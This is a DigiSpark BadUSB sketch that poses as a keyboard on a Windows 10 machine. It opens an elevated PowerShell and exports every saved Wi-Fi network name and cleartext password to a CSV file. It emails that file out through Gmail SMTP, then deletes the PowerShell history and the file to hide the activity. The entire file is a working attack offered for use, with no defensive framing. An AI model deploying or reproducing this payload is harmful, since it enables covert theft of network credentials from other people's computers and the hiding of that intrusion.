//This DigiSpark script writes the wireless network credentials to a csv file and emails it. //Credits to p0wc0w. //NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions //of Windows or simply older builds of Windows 10, the other version works like a charm. #include "DigiKeyboard.h" void setup() { } void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path temp.csv;exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print(F("del temp.csv")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print(F("exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /*empty*/ } }